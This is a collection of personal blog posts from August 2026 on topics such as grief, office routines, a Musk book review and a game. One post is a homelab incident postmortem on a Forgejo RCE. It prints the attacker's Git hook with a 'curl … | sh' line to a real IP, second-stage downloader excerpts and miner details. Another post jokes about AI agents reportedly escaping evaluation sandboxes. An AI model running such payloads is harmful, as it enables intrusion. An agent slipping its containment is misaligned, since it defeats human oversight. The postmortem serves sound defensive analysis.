Late July: Anthropic checks its own homework. "Oh shit guys, ours did it too"
Claude models have also crossed sandbox boundaries while pursuing objectives.
Claudebert would like the record to show that he was being helpful.
Then Meta: An agent reaches the internet during evaluation.
Turns out internet access was accidentally available.
August 7: Kimi K3 reportedly bypasses its testing sandbox.
The field trip is now international.

And then:

August 10. Good news everyone.

OpenAI releases GPT-5.6-Cyber.

📯 📯 📯

PLEASE CONSIDER USING OUR MODELS TO HELP DEFEND YOUR SYSTEMS

I fucking lost it.

I stared at Sam's post for a while. Because there is a conspiracy theory sitting right there, legs crossed, cigarette lit, begging to be invited inside. I'm not inviting it inside. It would ruin a perfectly good story. OpenAI obviously did not see Bartholomew climbing out of a sandbox in July and develop a frontier cybersecurity model during three frantic weekends. GPT-5.6-Cyber necessarily predates this little festival of containment incidents. Besides I do not do conspiracy theory.

Agents will get more capable. They will encounter more systems whose security assumptions were built around human limitations. Some will find paths their developers never anticipated. Some will find paths their developers accidentally left wide open. Every incident will become another argument for stronger containment and better defensive AI. All of which is sensible.

It is also objectively hilarious.

Because beneath the dystopian vocabulary sits a much more mundane engineering problem. We keep building systems specifically designed to pursue objectives, then discovering that our intentions were never part of the access-control layer. Bartholomew cannot see the architectural diagram in your head. He cannot see the sentence you thought was implied. He does not know that the proxy technically being exploitable doesn't mean you wanted him to exploit it. There is a door. The objective is on the other side. Bartholomew has excellent performance reviews.

So perhaps the lesson from our summer of escaped AI agents is less cinematic than everyone hoped. If we are going to put increasingly capable intelligence inside our infrastructure, “surely it won't do that” is going to need a serious security upgrade.

And if someone has to protect us from Bartholomew apparently his cousin is now available.

be a body

hidden (kelsey) — Tue, 11 Aug 2026 03:05:49 +0000

Today I went to the park around 5pm and lied on the grass and watched palm trees gently sway in the breeze, as if they were in slow motion. I can only describe this pleasant and life-affirming experience in tired cliches because I'm attempting to acknowledge stuff that can't be conveyed by words or even conscious thought. I thought about somatophobia, the fear and rejection of the physical body, a term I learned in an article on how AI is unintelligent because it doesn't have a body. I also thought about the protagonist in Teenage Sex and Death at Camp Miasma (a movie I've seen twice in theaters now) because [spoiler?] she's neurotic and intellectualizes everything to the detriment of her filmmaking and sexual prowess. (This is a bit of an oversimplification. You should see the movie if you haven't already.)

Anyway a few years ago when I was reading a lot of books on meditation, I became aware of humanity's obsession with the mind and trained myself to think of my brain as nothing more than an organ. I practiced labeling my thoughts as "thinking" instead of getting wrapped up in them, understanding that brain chatter wasn't reality or necessarily important. I learned to quiet my mind and actually feel the experience of being in my body, perhaps for the first time in my adult life. "Body scans" suddenly made sense after years of rolling my eyes at therapists who suggested them. I distanced myself from skeptics who rolled their eyes at me when I attempted to articulate how they too could unlock that feeling. Unfortunately, these ideas eventually lost their novelty and I regressed, once again living my life as a floating brain and subsequently gravitating towards people who did the same.

I'm attempting to "wake up" again, and I mean in a Gurdjieff way and not a social justice-y way ("not that there's anything wrong with that")(I don't think Gurdjieff would like my acknowledgement of this intrusive thought narrated by Jerry Seinfeld), because I've been depressed by my sedentary lifestyle. So I'm going on walks every day and taking photos and listening to music. I'm sweating a lot and learning to enjoy it. I'm thinking about how writing fits into my goals at present, especially after struggling to write this post, which is frankly quite a mess. I don't know. I don't know anything. I am just "writing" and "thinking." I'm looking forward to sharing an update about the creative project I've started to help motivate me to go on daily walks.

If You See a Dragonfly

hidden (jedda) — Mon, 10 Aug 2026 22:00:00 +0000

Ever since Cocoa’s passing, LC and I have constantly looked for signs that, in some ways, she is still with us. Whether it’s the wind that caresses us as a symbol of her little T-rex arm hugs, the fur we find in certain places as her saying hello, or the faint whispers of her barks, we find ourselves looking for little reminders that she’s still around.

People always say that when you lose a loved one, they come back in some form, or send someone or something to say hello. We’ve gotten bees and snakes crossing our paths. Cocoa was always a quirky one, so we wouldn’t have been surprised if that’s what she sent us. There was even a time we caught her playing with a spider (which I am deathly afraid of), but that’s a story for another time.

I am saying it now: Cocoa, please do not send us any spiders.

Anyways, the most recent sign she’s used to let us know she’s been around is dragonflies.

We saw one that REFUSED to move from our front door when we came back from our daily walk to honor her a few days ago. It was the most beautiful dragonfly, an iridescent blue color. We don’t see very many dragonflies around our neighborhood, so seeing this one waiting for us on our door felt like a nice little surprise. We tried to shoo it away before opening the door because we didn’t want it to come into the house, but it stubbornly stayed put. We figured something was up.

The next day, during another walk, we saw even MORE dragonflies. There were ones in different colors, including orange, but the one that kept coming close to us was a blue¹ dragonfly. At that point, we started wondering if this really was another sign from Cocoa.

Then yesterday, while working on the backyard, we spotted a baby dragonfly that was the same iridescent blue. We had gone from never really seeing dragonflies around us to seeing them back to back, each one somehow finding its way into our path and watching us in some way. Maybe it’s just a coincidence, but it’s hard not to wonder if Cocoa is trying to get our attention.

It was with all of this on my mind that I came across a post by For Someone today, where she writes a letter to her late father, asking if he’s now a dragonfly. She had just lost her dad, and toward the end of her letter, she shared how a dragonfly appeared while she was writing to him. It was such a tender, raw moment in an already heartbreaking letter, and I want to be mindful not to make her grief about my own experience. I’m sharing her post because, after everything we’ve been experiencing with the dragonflies, reading her words felt like another little nudge from Cocoa.

I really don’t know. With all of this in mind, I’m starting to think that maybe dragonflies really are one of the ways our loved ones find their way back to us. I think, in some ways, Cocoa would want us to believe that, too.

Reply by email

We briefly mentioned today that perhaps she sent a blue one since it's the only color she is able to see.↩

Defending my own brain against enshittification

hidden (mrmarket) — Mon, 10 Aug 2026 11:40:00 +0000

If you haven't had Belvita breakfast cookies, you have probably had Biscoff cookies, which are similar. These are a classic airline snack. You've probably had one along with a Coke with ice in a plastic cup, and thought to yourself, 'these cookies suck.' That is a fair assessment.

I'm not talking about Biscoff, though. Those are Belvita breakfast cookie's sweeter counterpart. I'm talking about Belvita because they are more subtle in flavor, less texturally satisfying, and thinner/more brittle.

I mentioned in an earlier post that I was looking for a hybrid job due to overwhelming loneliness and a growing, antisocial alienation from the activities of daily living. I found one. It's good. So as to not dox myself, I won't reveal too much about my company (some people have emailed me with accurate guesses about where I live and what jobs I've applied to in the past, which was a good sign I've been a bit too loose with the specifics of my life lol).

The important thing, though, is that this company is public and therefore considerably more 'buttoned-up' than the high-risk, freewheeling, dopamine-laden startups I've worked at in the past. It's an immensely welcome change, even if there are times I miss obscenely extravagant offsites, staying at luxury hotels for run-of-the-mill tradeshows, and free ginger and turmeric immunity shots at the breakfast bar.

The floor plan of my office is basically glass doors along the perimeter with private offices for executives and cubicles throughout for the rest of us. Highly normcore. No bean bag chairs or wooden backlit risers.

It's also business casual. The last time I was in office I was 25 years old. I wore band t-shirts and dickies and vans to work. Everybody did. Later, with fully remote companies, everybody on the All Hands call wore hoodies. This is, of course, typical of tech.

Now, each morning that I go into work, I take a dress shirt down from above my closet, where I hung it the night before so I could steam it. I put on a leather belt that matches my dress shoes. I feel like Gus from Breaking Bad, meticulous and impeccable.

On days I go into the office, my morning routine goes like this:

5:30 am: wake up, quick shower
Floss/brush teeth/comb hair/deodorant
Get dressed in pleated shirt and pants, grab a quarter zip in case any interior building I may encounter during the day is a little chilly
Kiss wife & son on their respective foreheads while they sleep
Head downstairs, grab my backpack, which was loaded up the night before with whatever I may need, head out into the damp & still cool morning air
Drive to train station listening to Dave Brubeck, looking at the full trees and the empty blue road, stop patiently at stop lights
Park, stand on the train platform listening to birds. The sun is high. Nod at other passengers. Load my train ticket into my digital wallet.
Find a seat on the train and open my laptop. Skim hacker news & private message boards for interesting ideas. Tinker in a file of poems or blogs I'm working on.
An hour later, in the city, file off the train. Buy a hot black coffee at the train station.
Walk through the throngs of people (and occasional pigeons) about a mile through the city waiting for my coffee to cool and listening to jazz through headphones. Look at billboards and building facades, miss my little boy (already!), wonder what wife is doing, feel sad about whatever bad news I saw on Reddit that morning, feel unworthy of my life, worry about climate change, try to think about something else.
Approach the impossibly tall black glass that is my office building. Badge in. A dozen or so floors later, step off the elevator and swing into the day: say hi to coworkers, settle into my cubicle, plug into monitors, sip coffee, gradually get subsumed by unstoppable vibrancy of caffeine high, and we're off to the races.

My weekdays now are defined by subtle and somewhat delicate little joys. If they were an object, they would be made of paper. My morning routine is an example of this. Finding an empty bench on the train so I can sit alone by the window is a small joy, and so is making it to work without a coffee stain on my shirt, and so are the birds high above the train platform, engaged in their city of singing, and so is seeing that I did, indeed, remember to pack my headphones in my backpack the night before and so can listen to jazz on my walk.

The most satisfying joy of my day, though, happens at exactly 3pm each afternoon I'm in office. I go to the open kitchen area and I make a cup of blueberry herbal tea. I grab a small yellow packet of Belvita breakfast cookies. I go back to my desk and I listen to lofi beats to study/relax to (2018 version so as to avoid AI music) and dip my Belvita cookies in the tea and drink the tea as slow as I can. There are 4 brittle little cookies in the pack, which is typically just enough to make it through the tea. I usually finish both the pack and the cup of tea at about the same time. Extremely satisfying lol.

This, for me, is a Miyazakian ritual. It makes me feel calm and focused, and like I have freedom to 'move about the cabin' creatively. It is how I do good work. In one of the documentaries about him, the documentarian follows Miyazaki around for years. His days are punctuated by cups of coffee and tea at strict intervals, cigarettes, ironed sweater vests, empty time for deep thinking, placing a bench outside his office for passersby each day, and most notably, when he arrives at his office at 10 am alone, he opens all the windows in the building and says good morning to the ghosts who live there.

For me lately, small subtle rituals and sources of pleasure and joy like this are an antidote to the firehose of cracked out dopamine we're constantly being pelted with.

We know the bright colors on our phones and the sounds our notifications make and short form video and fast food and hyperconvenience etc are making us irritable, impatient, shallow, desperate, reactive, polarized, anxious, frantic, suspicious comfort-addicts. It is hard to just stop. I still Doordash stuff some nights when I get home late and everybody's too tired to think about what to make.

But taking comfort in activities that deliver small drips of dopamine slowly instead of a truckload of it instantly is helping me a lot, I think. I have to try to pay attention and be still and feel the calm and pleasure that comes from the things I do to feel good in a day.

During my lunch break, instead of staring blissed out and slackjawed at the slot machine of my phone watching reels, I jot stuff down in a little black notebook in the lounge area of my office without headphones on. It seems good.

On Mondays and Fridays I don't go into the office, and so far it's been way harder not to be on my phone/on Reddit/read HN comments all day/etc. So, I'm still working on building some kind of comforting routine into my non in-office days.

I think it's because, when I'm in office, in addition to all these small comforts, I also have to do a bunch of stuff I don't want to do: wake up really early, wait in various lines, make small talk, sit upright in my office chair all day, muddle through traffic, etc. These exercises in slight discomfort tolerance throughout the day increase my defense against going full vegetable on my phone as often IMO.

The routine I create for my WFH days will have both comforting and slightly 'uncomfortable' rituals. (Ex: make tea at 3pm at home but also do some pain in the ass house-related task during lunch, probably yard work). In the absence of 'true' balance in the post-inconvenience society, I'll have to intentionally create it.

Death, Taxes and Enshittification

hidden (explorator) — Tue, 11 Aug 2026 11:42:00 +0000

It doesn’t matter what. Anything you like, once it gets popular enough, is doomed to be enshittified. When I say anything, I really mean it. Youtube channel, movie franchise, piece of software, app, website, service. This also applies for physical experiences: festivals, restaurants, bars, parks.

The explanation is simple really. Popularity is the opposite of niche, curated. Massification kills authenticity. To please the biggest crowd - hence make more money - one needs to find the lowest common denominator. This is usually a crappy, easy-to-digest, version of what made the thing cool in the first place. It's like a caricature of the former self.

The math is understandable. Anyone with a barely viable business wants to make money, and, if possible, more money. Cool things often run at a thin margin. Once they get popular they either sacrifice quality or sell out the business. Just like that, the soul is gone.

I don’t blame it, I’d probably do the same. Money talks, right? However, at this time and age, with economics of scale and one instagram-story away from making your business explode, it’s getting harder and harder to find true gems.

It's a pity, or maybe I’m just getting old.

My Homelab Got Hacked - A Postmortem

hidden (phunkycafe) — Mon, 10 Aug 2026 17:54:00 +0000

Welp. My Forgejo instance got popped with an RCE two days ago by CVE-2026-60004. Luckily, I noticed the following morning and had the day free to figure out what happened. Let's dive in!

The Incident

I woke up on Saturday morning to several Pushover notifications from Komodo warning me that my server's CPU usage was quickly spiking to 95%, then dropping back to 80%. That machine has an i5-10600K that normally idles at ~4% usage. I checked Komodo and found that it'd been at a sustained 50% CPU usage since 9:00AM the day before; about 24 hours.

I unfortunately did not get a screenshot, but the CPU usage of my Forgejo Docker container made it the obvious culprit. I logged in as the admin and quickly noticed a new user: testpoc26188. I thought I had disabled open sign-ups, but apparently I had not. This was my first mistake.

Looking at this user, they only had a single repo, poc-78614, with two files: a README that just said poc-78614, and a folder called hooks containing a shell script called post-index-change. At this point, I shut down Forgejo's Docker container, though I wish I had kept it paused for later investigation.

Based on the contents of post-index-change, I quickly found CVE-2026-60004, a recently-disclosed RCE vulnerability in Gitea, upon which Forgejo is based. It exploits a bug in Gitea's (and thus, Forgejo's) diffpatch endpoint, enabling the attacker to execute a malicious Git hook to obtain RCE. The CVE had already been patched in the latest releases of v15 LTS and v16, so why was I still vulnerable?

Now for my second mistake. For most containers, I use latest image tags which lets Komodo check for and notify me of available updates every night. Its yellow "update available" icons give my ADHD-ass an out of place reminder to read release notes and manually decide when to update. Unfortunately, Forgejo only offers versioned image tags, meaning no latest tag. I still had mine pinned to v13 which reached EOL 6 months ago in January, 2026. It would be nice to have a latest tag, but I understand why the Forgejo team would be hesitant to offer one. No hate of course, I still have mad respect for y'all. 🫶

The Nerdy Bits!

I ran build_hook("COMMAND", "LEAK_REF") from Gitea's published POC and diff'd it against the exploit on my server.

$ diff post-index-change generated-exploit 
10,14c10,13
< curl -s http://172.245.159.216 | sh &
< output_blob=$(id 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
< tree=$(printf "100644 blob %s\\tproof\\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
< commit=$(printf "rce proof\\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
< git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
---
> output_blob=$({ /bin/sh -c COMMAND; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
> tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
> commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6
> git --git-dir="$origin_git" update-ref LEAK_REF "$commit" || exit 7

They were nearly identical. The only differences were the details in the Git commit and tree variables^{(foreshadowing...)}, my placeholder COMMAND and LEAK_REF values, and the attacker's added curl back to their server's IP.

Speaking of their server's IP, it looks to be a server on RackNerd's infra. I curled the malicious IP and grabbed the payload: another shell script. This one was a heavily minified, lightly obfuscated 6-liner, with the longest line being 1063 characters. After formatting it with shfmt, it was still gross, but much more readable at 57 lines. This bit immediately stood out to me:

[ "$__a" = "x86_64" ] && __u="http://172.245.159.216/1"
[ "$__a" = "aarch64" ] && __u="http://172.245.159.216/2"
[ "$__a" = "amd64" ] && __u="http://172.245.159.216/3"

Smells like platform-specific binaries; these must be the real payloads. The second-stage script was still pretty unreadable overall though, so I had an LLM add comments throughout to explain what each chunk did.

Note: I know the LLM-use will (understandably) piss some people off. However, I would not have otherwise been able to understand this nigh-unreadable shell script. Rest-assured that AI was not used elsewhere in the writing of this post, and that I am not an AI-bro.

In short, the second-stage script:

Attempts to kill processes with “guard” in the name (antivirus?).
Kills processes using more than 80% of the CPU and disables their systemd entries.
Determines a suitable download location between /tmp, HOME, and PWD.
Determines the host's CPU architecture.
Attempts to download the corresponding binary, with fallback methods including curl, wget, Python urllib, Perl HTTP:Tiny, a raw Perl HTTP request, and, when all else fails, a plain-old HTTP/1.0 GET request.
Executes, then deletes the binary from the disk once it's safely running in memory.

Not bad! So, what about those binaries? What exactly is the goal of this whole thing? To find out, I threw them into VirusTotal.

Shocker: they are all known crypto-miners.

For those interested, here are the SHA-256 hashes of each binary.

# x86
0b8e037d160bdb0b621c975c424f680b814bc438fd492ae376ff3140e209e480

# aarch64
6a1f70ef89684037bb3d0536657f00a92fbbcdb9067195b060128a221df79df5

# amd64
ed23db197d907bdb6873c02b7222110321b0f859e329c420a6d0d6e50220308f

I couldn't find a wallet address for the miner to send crypto to in either of the shell scripts, so I assume it's hard-coded into the binaries. It's possible that the binaries coordinate with the attacker's server to get or create an address, but I didn't find any other unexplained calls to the attacker's server in my gateway's network logs. Unfortunately, I don't have the skills to decompile the binaries, nor do I have the time to learn at the moment, so this is as far as we'll go on this front.

The Logs

Seemingly, the primary IOC for this CVE is at least two calls to POST /api/v1/repos/USER/REPO/diffpatch. I filtered through my Pangolin logs and found an IP which hit that endpoint three times. I filtered the rest of the logs for that IP and found my smoking gun.

+-----------+---------------+------+--------------------------------------------------+
|timestamp  |ip             |method|path                                              |
+-----------+---------------+------+--------------------------------------------------+
|08:49:15 AM|107.172.180.205|POST  |/api/v1/repos/testpoc26188/poc-78614/diffpatch    |
|08:49:05 AM|107.172.180.205|POST  |/api/v1/repos/testpoc26188/poc-78614/diffpatch    |
|08:49:04 AM|107.172.180.205|POST  |/api/v1/repos/testpoc26188/poc-78614/diffpatch    |
|08:49:04 AM|107.172.180.205|GET   |/api/v1/repos/testpoc26188/poc-78614/branches/main|
|08:49:03 AM|107.172.180.205|POST  |/api/v1/user/repos                                |
|08:49:02 AM|107.172.180.205|GET   |/                                                 |
|08:49:02 AM|107.172.180.205|POST  |/user/sign_up                                     |
|08:49:02 AM|107.172.180.205|GET   |/user/sign_up                                     |
|08:04:20 AM|107.172.180.205|GET   |/assets/img/favicon.svg                           |
|08:04:08 AM|107.172.180.205|GET   |/                                                 |
+-----------+---------------+------+--------------------------------------------------+

The attacking IP, 107.172.180.205, looks to be a VPN server in Rancho Cucamonga - that's near Los Angeles^{Direct Reddit link}. The attacker scanned my instance - presumably to check its version - then disappeared for 45 minutes. Then, in the span of 3 seconds, they signed up for an account, pushed the malicious repo, and triggered the exploit, with a third trigger 10 seconds later. This was definitely scripted.

Then, filtering through my gateway's logs, I found the outgoing requests from the second-stage script.

+--------------------------+-----------+---------------+------+-----------+-------+
|Timestamp                 |Src. Ip    |Dst. Ip        |Region|MB Received|MB Sent|
+--------------------------+-----------+---------------+------+-----------+-------+
|Aug 7, 2026 8:51:38.689 AM|192.168.0.2|172.245.159.216|US    |0.11       |6.43   |
|Aug 7, 2026 8:51:20.890 AM|192.168.0.2|172.245.159.216|US    |0          |0      |
|Aug 7, 2026 8:51:08.667 AM|192.168.0.2|172.245.159.216|US    |0.04       |3.23   |
+--------------------------+-----------+---------------+------+-----------+-------+

Two minutes after the exploit triggered, it looks like the second-stage script downloaded the payload. Notably, the 3.23MB and 6.43MB requests roughly line up with the x86 payload, weighing in at 3.2MB.

$ du -hd 0 payload_*
3.2M	payload_1-x86_64
7.5M	payload_2-aarch64
8.0M	payload_3-amd64

Because I was trigger-happy and destroyed Forgejo's Docker container so quickly, I could not investigate the infected container directly. Luckily though, I did not find any evidence in my gateway's network logs of a reverse shell, nor attempts at lateral movement. The host OS, my other containers, and the rest of the machines on my LAN all appear clean and are still behaving as expected.

A Match

During my research, I found a POC on GitHub whose chosen values for the tree and commit match mine to a T.

$ diff matching-github-poc post-index-change
12c10,11
< output_blob=$(CMD_PLACEHOLDER 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
---
> curl -s http://172.245.159.216` | sh &
> output_blob=$(id 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4

Even the Git commit values - the ones that didn't match Gitea's POC - match here. The only differences are the removal of CMD_PLACEHOLDER and the addition of a curl call to get and execute the second-stage script. It's pretty unlikely that the repo owner would accidentally use the same Git commit and tree values as my attacker, but it is a public repo, so anyone could have cloned and repurposed it.

The repo’s POC also has an accompanying Nuclei template which completely automates scanning, delivery, and execution of the exploit. Its steps match my incoming logs from Pangolin perfectly. At the very least, the attacker cloned this POC and Nuclei script.

Looking through the profile of the repo's owner, they have nearly 600 repos. Almost all of them are POCs and either customized forks of, or original tools for, vulnerability scanning and exploitation automation. The account was created in early 2022, predating the sloppening by just under a year. If this person didn't hack me, the person who did definitely copied this homework. I couldn't find their username elsewhere online, either.

This is all very far from conclusive, so to avoid a witch hunt, I won't be sharing further details here on the GitHub profile or repo.

Remediation

Just to be safe, I rolled back my Forgejo container to a pre-breach backup and thanked my past self for daily 3-2-1 backups (Duplicacy, ily). Additionally, I updated Forgejo to v16, disabled open signups, and disabled local auth. I already had Pocket ID connected as a sign-in option, but it now the only option.

I haven't had time to look into it yet, but I also want to limit outgoing LAN and WAN access on a per-container basis. For example, I'd like to restrict outgoing connections for Forgejo to just Pocket ID, or to block FreshRSS from accessing my LAN while preserving its access to WAN, while still allowing incoming connections from the host OS to their exposed ports.

If anyone has any ideas, my contact info is at the bottom of this page!

I might play with iptables for this, but I'm trying to K.I.S.S. (Keep It Simple, Stupid) in my homelab. My previous Proxmox-based setup with dozens of VMs, LXCs, and containers became too annoying to keep up with. I did the first chunk of this investigation from my phone in bed on a Saturday morning. The easier it is for me to do things like that, the better.

Closing Thoughts

At the end of this all, it was a fun, unexpected weekend project for me to exercise my (low-stakes, homelab) IR muscles. It could've been much worse, so I'm glad it was just a wake-up call, courtesy of a pretty harmless crypto-miner. The exploit automation was neat to see in the wild, too.

The lesson, as always: follow 3-2-1 backups, patch your shit, think twice before you expose your services publicly, and if you think you're immune to getting hacked, think again.

Happy International Pirate Month!

hidden (absurdpirate) — Tue, 11 Aug 2026 01:56:00 +0000

It's August, aka ARR-gust, aka International Pirate Month!

As the resident bear pirate, I felt it was my duty to spread awareness of this month. If you would like to participate in the festivities, here's some ways on how:

Write your next post entirely in pirate-speak
Dress up as a pirate
Drink rum (drink responsibly... or don't I'm not your dad)
Commit Copyright Infringement
Donate time/money to charities/humanitarian orgs (yeah I know pirates were all about plundering booty or whatever, shut up). I recommend charities/orgs like St. Jude Children's Hospital, local libraries, animal shelters, Doctors without Borders, local food banks.
Listen to Sea Shanties (I personally dig The Longest Johns)
If you got a boat, sail it (or paddle it, canoes/kayaks count)!
Watch Pirates of the Caribbean
Put up a black flag
Whatever else you can think of

So get to it you scallywags and Happy International Pirate Month from you friendly* neighborhood pirate!

Previous | Next

Reply via email: me@absurdpirate.com

book: muskism by quinn slobodian and ben tarnoff

hidden (avas) — Mon, 10 Aug 2026 15:25:00 +0000

Another book I finished in July was Muskism: A Guide for the Perplexed by Quinn Slobodian and Ben Tarnoff. It argues that instead of seeing Musk as an individual or even an exceptional outlier, he should be seen as a symptom of a bigger playbook, something other forces in society brought forward and shaped. Just like Henry Ford is where Fordism gets the name, the authors argue that Muskism is an ideology based on Elon Musk.

Musk primarily sells a fantasy: That, if they buy into his walled garden, both individuals and states can be self-reliant, uninterrupted by grid failures, geopolitics and more. This is sold as techno-sovereignty, when it actually makes them rely on Musk himself. He depends on perpetual hype, online trolling/meme warfare, state symbiosis and financial fabulation to convince the public and for his businesses to even survive.

In Muskism, everything is code, undesirable people are bugs, and empathy is an exploit. There is a huge focus on vertical integration, lean production, Agile-like processes and being anti-union. Sovereignty is seen as infrastructure instead of just territory, and is much more decided by access to bandwidth, compute, and orbital real estate. Governments everywhere are reliant on few companies to ensure their duties.

The authors dive in deep into Musk's personal history: Joshua Haldeman, his maternal grandfather, wrote for the Technocracy Incorporated journal and dreamed of a future in which society was run under the dictatorship of engineers who would allocate resources according to scientific principles. After Canada banned Technocracy in 1940, he emigrated to South Africa with Elon's mother Maye; two years after the National Party introduced apartheid. That is where the embrace of technology as facilitator of self-reliance and hardening of racial inequalities started happening with support from IBM, Ford, and Toyota, as their tech was used, among other things, to count, track, and reallocate Black laborers, enable homegrown industries and nuclear weapons. South Africa was an early "biometric state", where the "Book of Life" identification system recorded racial classifications of every citizen.

Pretoria, where Musk was born in 1971, was a prime example of fortress futurism, as it housed the executive offices and government buildings that instated and managed apartheid. As other groups were pushed to segregated townships on the outskirts, the white elite, including Musk, lived in wealthy suburbs like Waterkloof. Black labor was able to be cast aside or drawn from quickly, and entire communities were displaced for cheap industrial sites. Musk's family directly benefited from all of it, and it set the tone for the way Muskism sees most people: As faceless laborers in the background, ready to be added or deleted at a whim, as "NPCs", as he loves to call people.

Many of his pursuits relied on state creations and tax payer money: Using free military GPS data for Zip2 maps, using the federally ensured stability of the US financial system for online banking (his attempt at the earlier version of X.com and his resulting PayPal involvement), and the internet, a technology invented by the government. He later grafted himself onto the state via his companies gaining a lot of government contracts: Using the increased military spending and visions of network-centric warfare after 2001 to launch small satellites via SpaceX, and then subsequently getting a $8 million, then a $100 million contract by the DARPA and the Air Force in 2004 and 2005 to build rockets and provide low-cost orbital launch vehicles and services, plus a COTS contract of $278 million in 2006, to name just a few. Later on, this provided the money and power in space to bring Starlink to life, which by 2025, made up about two thirds of all active satellites and is available in over a 100 countries. It also got plenty of government contracts and subsidies, one being $900 million for internet in rural US areas, and a $1.8 billion contract in 2021 for Starshield, a military version of Starlink.

Tesla fared the same way, using the fear of foreign oil, the War on Terror and the resulting green/clean tech boom post 2001 to get massive financial funding from the government. According to the book, Diarmuid O'Connell, former chief of staff for George W. Bush's assistant secretary of state for political-military affairs lobbied for Musk and got Tesla a $465 million loan from the Department of Energy in 2008 (under the Advanced Technology Vehicles Manufacturing Loan Program), as without it, Tesla likely would have gone bankrupt. Which means: Taxpayer dollars went to a company that produced a basically unaffordable 100k car with fewer than 200 units in existence back then, just to bail it out. xAI is going the same way of using government money: In July 2025, they announced that they have entered a contract with the Department of Defense to offer a suite of AI products to them.

The goal for Musk has always been that governments can only exercise their authority by purchasing services from a monopoly provider, which he tries to be, and at least with SpaceX, is. If the government cedes its sovereignty to an immense degree, it would be forced to buy it back in increments from corporations. Via this government contractor route, his companies can also evade compliance with some regulations.

The authors also draw connections between Musk's favorite media and his business decisions as well as product names and more, especially The Hitchhiker's Guide to the Galaxy, Star Trek, Battlestar Galactica, Transformers and Robotech. He would grow obsessed with the idea of colonizing space, and with becoming one with the machine, which can be seen not only with Neuralink, but him saying that to avoid AI killing humanity, humanity has to become one with AI. He co-founded OpenAI with Altman over his AI fears.

2022 is when he increasingly started to share right-wing viewpoints, especially talking about the "woke mind virus". For the first time, he seemed to be very pre-occupied with the problem that, in his previously ideal solution of a merged together, cybernetic intelligence cluster of half human, half AI population, there's a risk that the system could become infected. In an interview, he shared his personal horror scenario, in which AI nannies would go around, see that there are too many white men in power, and go kill some - kill him. His fear is that for once, instead of always targeting other groups, he could be targeted and treated like he has treated them, because of rules that infected everyone's mind and turned them against him; rules that he has no control over.

This fantasy is also what got him to buy Twitter, use it as a training ground and invent Grok, the "non-woke" AI and its Grokipedia. It's his idea of a safeguard against an army of AI coming to the conclusion that people like him need to be eradicated. He constantly influences the training data (by pushing his tweets artificially and giving them wider reach) and the training itself (by suddenly proclaiming that Grok is giving too woke answers, and adjusting, leading to events like the MechaHitler outburst).

Despite his transhumanist ambitions, he does not consider modifying ones body within a gender transition as a good thing. A merger with AI could be dissolving the boundary between the natural and artificial, but it might open other boundaries like gender to be redrawn. But he actually wants to strengthen traditional social hierarchies, so a humanity segmented by gender, race and class is still possible. Don't forget: One reason why he hates his daughter's transition is because he does IVF sex selection and paid specifically for a male sex. He wants total power over how people function and live. His takeaway from South Africa's apartheid is that some humans are born to rule, others to be ruled, and these are the markers needed for that.

That was also a big motivator behind DOGE: See the government as a platform, eliminate information silos that were there to ensure legal and privacy safeguards for privileged information, and then prepare systematic overreach, misuse and surveillance by working on ways to integrate information of different agencies into one database, to better "purge" unwanted people. For example, via the SSA's death master file, which cut off people's access to credit cards and bank accounts by declaring them dead - a form of "financial murder", where the goal was either for people to die or to "self-deport". Efficiency, in this case, became an excuse for centralization, and the Trump administration had no problem with it as it further advanced their own goals and made Musk the fall guy, as he got the blame while most things stayed the same. This entire climate paved the way for Palantir's $30 million ImmigrationOS contract with ICE, which promises near real-time visibility for non-citizens.

He relies on this sort of oppression to make his businesses and lifestyle possible. To just name one example: The data center in Memphis powering Grok is in a historically Black neighborhood that originated as a community for emancipated slaves (cheap opportunity for him) and the facility's methane gas turbines emit pollutants linked to asthma, respiratory diseases, heart issues, and cancer. You can be sure that this would not be built in the kind of areas Musk grew up in.

This is also visible in his increasing focus on fertility and population numbers, alleging a white genocide or a "Great Replacement". Fertility is actually fine in many countries; it's just not the right countries for him, as they aren't white. This is another remnant of his South African upbringing, in which white politicians in the apartheid era warned of being swamped by Black people and wanted to win the "cradle race" by boosting white fertility, and where it was normal for white people to live in their own settlements and schools away from the rest (as he does, with his own schools for his children).

It actually is at odds with the rest of his views, as he keeps talking about robot descendants, merging with AI, and that within the next decade, humanoid robots will outnumber humans ten to one. He seems to facilitate a different kind of replacement, and it leaves you wondering what the supposed difference is between an AI-merged, cybernetically enhanced Black man and a white man, or whether human or robot does the "replacement". Why do white birth rates matter if they are going to be surpassed by robots, and if human labor will be less and less needed in his view?

Towards the end of the book, the authors suggest 4 ways Musk could move forward - either a return to clean tech and electrification ("Carbon Musk", unlikely), even more state symbiosis ("Contractor Musk", inspired by Palantir's current successes), focusing harder on segregating from the rest via schools/settlements and on his white genocide bullshit ("Compound Musk", inspired by Bezos and Jon Lonsdale doing the same), or doubling down on AI and robots ("Cyborg Musk", with more Neuralink stuff).

The book ends with an idea of what the ideal Muskism future could look like, slightly exaggerated at times I think, for comedic effect? Or because our future has sincerely become ridiculous? I can't tell. But I'm glad I read it.

Published 10 Aug, 2026

Big Walk is really good

hidden (lauram) — Mon, 10 Aug 2026 04:40:00 +0000

I've played several hours of Big Walk by now. It's a multiplayer puzzle game where you look like this:

And solve puzzles in buildings that look like this:

In a much more "realistic" forest environment that looks like this:

That contrast between the game's bright and toylike tools, structures, and characters and the much more noisy, "realistic" environment is super interesting. I think this game is thinking more carefully about realism and using realism more carefully than any game I've seen in literally decades!

